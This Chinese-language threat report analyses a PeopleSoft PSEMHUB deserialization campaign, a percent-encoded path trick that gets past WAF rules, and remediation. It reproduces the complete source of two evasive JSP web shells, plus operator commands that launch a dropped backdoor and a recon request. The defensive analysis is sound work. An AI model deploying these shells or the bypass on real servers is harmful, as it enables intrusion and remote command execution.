1. 簡介

CVE-2026-35273 是 Oracle PeopleSoft Environment Management Hub (PSEMHUB) servlet 中的一個認證前 Java 反序列化漏洞 。一個追蹤代號為 UNC6240 的 Threat actor cluster 於 2026 年 5 至 6 月間首度將該漏洞作為 零日漏洞攻擊 ,並在 2026 年 9 月恢復大規模攻擊,此時許多操作者已針對字面 path /PSEMHUB/ 部署了字串比對式的 web application firewall (WAF) 規則卻未套用底層的修補程式。這份報告分析 bypass 機制、攻擊生命週期,以及主要來源中所揭露的 JSP 工具,並將該技術置於 parser-differential WAF evasion 的更廣泛分類之中。

WAF 規則寫了卻沒用?PSEMHUB 百分比編碼繞過的真相! | 資訊安全新聞

2. Percent-Encoding Bypass

核心缺陷在於 WAF 與來源伺服器之間的解析不一致。Threat actor 透過對請求路徑中的單一字元進行 URL 編碼,以 /%50SEMHUB/ 取代 /PSEMHUB/,藉此繞過字串比對式的 WAF 規則,因為許多 WAF 與反向代理規則是在 URL 解碼前比對字面路徑,而 PeopleSoft 應用伺服器 則會解碼該請求並將其導向至存在漏洞的 servlet。 %50 只是 ASCII 字元 P 的 percent-encoding 形式;WebLogic 的請求路由器在分派前會先正規化路徑,因此解碼後的請求仍會到達 PSEMHUB ,但 WAF 的 pattern 永遠不會比對到編碼後的字面內容。這是教科書等級的 parser-differential evasion:偵測點與強制執行點對於「同一個」請求該長什麼樣子看法不一致,這是一類已被廣泛記錄的 bypass,在通用 evasion 工具組中還有其他 percent-、double- 與 Unicode-encoding 變體 [2] [3] 。

在攻擊之前會先進行目標驗證。受針對的伺服器通常會收到五到十五個送往 /%50SEMHUB/hub 的 POST 請求,其中包含序列化的 Java 物件,而未修補的伺服器會回應該主機作業系統資訊,且不會寫入檔案或中斷服務,讓該攻擊者得以安靜地確認可攻擊性。下方的序列圖根據主要來源重建了此生命週期。

sequenceDiagram participant A as Attacker participant W as WAF / Reverse Proxy participant P as WebLogic / PSEMHUB A->>W: POST /%50SEMHUB/hub (serialized object) Note over W: Rule matches literal "/PSEMHUB/" only; %50SEMHUB passes W->>P: Forward request (path decoded) Note over P: Path normalized to /PSEMHUB/hub P-->>A: OS fingerprint (verification, no file write) A->>P: POST /%50SEMHUB/hub (deserialization payload) P-->>P: Deserialize Java object, write x.jsp / u.jsp A->>P: GET /%50SEMHUB/x.jsp?c=hex(cmd) P-->>A: R: command output

圖 1 — WAF-bypass 與攻擊序列。

3. 後滲透 Web Shell

為了建立持續存取並準備後續 payload,該 threat actor 攻擊者在 PSEMHUB.war 目錄中部署了兩個互補的單行 JSP web shell, 兩者皆設計用於在後滲透階段降低 WAF 偵測。

3.1 x.jsp — hex 編碼的指令執行。 x.jsp 不是在 URL query string 中傳遞明文指令,而是透過 HTTP POST 接收 hex 編碼的指令,以及一個 optional execution timeout;它會自動偵測底層作業系統,在 Windows 上啟動 cmd.exe,或在 Linux 上從 ASCII 字元陣列重建 /bin/sh 以避開靜態字串特徵,並回傳加上 R: 前綴的 process 輸出。

<%@ page import="java.util.*,java.io.*" %>
<%
String h = request.getParameter("c");      // "c": hex-encoded command string
String ts = request.getParameter("t");     // "t": optional timeout in seconds
if (h != null) {
  int t = ts != null ? Integer.parseInt(ts) : 30;  // default 30s execution window
  StringBuilder cs = new StringBuilder();
  for (int i = 0; i + 1 < h.length(); i += 2) {
    cs.append((char) Integer.parseInt(h.substring(i, i + 2), 16)); // decode 2 hex chars -> 1 byte
  }
  String c = cs.toString();                 // reconstructed plaintext command
  boolean wn = System.getProperty("os.name").toLowerCase().contains("win"); // OS fingerprint
  Process p = new ProcessBuilder(
      wn ? new String[]{"cmd.exe", "/c", c}  // Windows shell invocation
         : new String[]{new String(new char[]{47,98,105,110,47,115,104}), "-c", c}
         // char array spells "/bin/sh" to dodge literal-string WAF/AV signatures
  ).start();
  InputStream a = p.getInputStream();        // stdout stream
  InputStream g = p.getErrorStream();        // stderr stream
  byte[] b = new byte[8192];
  int n;
  StringBuilder sb = new StringBuilder();
  long end = System.currentTimeMillis() + t * 1000L; // deadline for polling loop
  while (System.currentTimeMillis() < end) {
    if (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else if (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); }
    else {
      try { p.exitValue(); break; }          // process finished early, stop polling
      catch (IllegalThreadStateException e2) {
        try { Thread.sleep(40); } catch (Exception e3) {} // still running, back off
      }
    }
  }
  while (a.available() > 0) { n = a.read(b); if (n > 0) sb.append(new String(b, 0, n)); } // drain stdout
  while (g.available() > 0) { n = g.read(b); if (n > 0) sb.append(new String(b, 0, n)); } // drain stderr
  out.print("R:" + sb.toString());           // return output prefixed for parsing
}
%>

圖 2 — x.jsp 跨平台指令執行 shell。

3.2 u.jsp — chunked file 上傳與執行。 這個 shell 會解碼 Base64 編碼的檔案 chunk,並以 150 KB 為單位寫入或附加至目標 path,藉此繞過 HTTP 請求大小限制並避開 PeopleSoft 原生的 FILECHUNKING 處理常式,同時還包含一個次要參數,用於在檔案重組完成後執行 cmd.exe 指令。

<%@ page import="java.util.*,java.io.*,java.nio.file.*" %>
<%
String n = request.getParameter("n");   // "n": destination file path
String a = request.getParameter("a");   // "a": base64-encoded chunk payload
String m = request.getParameter("m");   // "m": mode flag, "a" = append
if (n != null && a != null) {
  try {
    byte[] b = java.util.Base64.getDecoder().decode(a); // decode this chunk
    if ("a".equals(m)) {
      java.io.FileOutputStream f = new java.io.FileOutputStream(n, true); // append mode
      f.write(b);
      f.close();
    } else {
      java.nio.file.Files.write(java.nio.file.Paths.get(n), b); // overwrite / first write
    }
    out.print("W:" + b.length);          // acknowledge bytes written
  } catch (Exception e) {
    out.print("E:" + e);                 // report write error
  }
}
String x = request.getParameter("x");    // "x": optional command to run post-upload
if (x != null) {
  try {
    ProcessBuilder pb = new ProcessBuilder(new String[]{"cmd.exe", "/c", x});
    pb.redirectErrorStream(true);        // merge stderr into stdout
    Process p = pb.start();
    java.io.InputStream i = p.getInputStream();
    byte[] buf = new byte[8192];
    int k;
    StringBuilder sb = new StringBuilder();
    long end = System.currentTimeMillis() + 12000;  // fixed 12s execution window
    while (System.currentTimeMillis() < end) {
      if (i.available() > 0) {
        k = i.read(buf);
        if (k > 0) sb.append(new String(buf, 0, k));
      } else {
        try { p.exitValue(); break; }
        catch (Exception e2) { Thread.sleep(30); }
      }
    }
    out.print("R:" + sb.toString());
  } catch (Exception e) {
    out.print("X:" + e);
  }
}
%>

圖 3 — u.jsp chunked file 上傳與執行 shell。

3.3 操作者驗證指令。 在投放 Ple64.exe (追蹤代號為 SIDEEYE,一個透過 u.jsp 投放、以 VMProtect 包裝的三階段後門)之後,該 actor 確認了投放與執行成功:

dir applications\peoplesoft\PSEMHUB.war\Ple64.exe        REM confirm file exists
for %F in (applications\peoplesoft\PSEMHUB.war\Ple64.exe) do @echo %~zF   REM check file size
cmd.exe /c start /b "" applications\peoplesoft\PSEMHUB.war\Ple64.exe      REM launch as background process
tasklist | findstr /i Ple64                               REM verify process is running

圖 4 — 上傳後驗證序列。

3.4 Shell 呼叫範例。 一旦 shell 上線,用於一般探索指令時仍會繼續使用繞過 WAF 的 path 格式:

GET /%50SEMHUB/<webshell>.jsp?c=id;hostname;uname+-a HTTP/1.1

圖 5 — 透過 percent-encoded path 發出的探索指令。

4. 工具設計特性

兩個 shell 共用三項以 evasion 為導向的設計選擇。第一,payload 的傳輸採用 hex 或 Base64 編碼,而非以明文 shell 語法傳遞,讓關鍵字比對式的 WAF 規則沒有字面指令字串可比對——這與 WAF-evasion 框架中已被記錄的通用「 keyword manipulation 」編碼層背後是同一項原則 [2] 。第二, x.jsp 在執行時從字元陣列建立字面字串 /bin/sh ,而非將其內嵌為常數,藉此擊敗那些在 JSP 檔案中 grep shell 呼叫字串的靜態特徵掃描器。第三, u.jsp 以 150 KB 為單位 chunk 上傳,讓每個請求都低於常見的 body 大小檢查門檻,同時也避開應用程式自身的 chunk 上傳處理常式,因此原本為合法大檔案傳輸設計的防禦邏輯,永遠不會觀察到攻擊者的傳輸。

5. 修補意涵

Percent-encoding bypass 顯示,以 path 為基礎的 WAF 封鎖並不等同於修補:組織應套用 Oracle Security Alert 修補程式 ,因為 WAF 規則與以 path 為基礎的封鎖不能取代修補。防守方另外應在規則評估前先將請求 path 正規化,而不是比對字面字串,因為 防守方應假設 threat actor 可能使用 /PSEMHUB/ 的任何 percent-encoded、混合大小寫或其他未正規化的變體,並應對正規化後的 path 強制封鎖。這與針對通用 WAF bypass 分類的既有指引一致:單一、雙重與 Unicode 編碼變體都必須在特徵比對前解碼為標準形式 [2] [3] 。

6. 結論

2026 年 9 月的 PeopleSoft 行動 是一個清楚的案例研究,展示了如何適應已公布的防禦指引:UNC6240 並沒有找到新的漏洞,而是利用強制執行層與解析層之間的解碼不一致,讓一個早已為人所知的漏洞重獲存取。伴隨的 JSP 工具——hex/Base64 payload 編碼、動態字串建構,以及 chunk 傳輸——說明了即使是極精簡的單檔 web shell,也能被特意設計成在初始存取向量本身已被充分記錄之後,仍能通過 WAF 與靜態特徵檢查。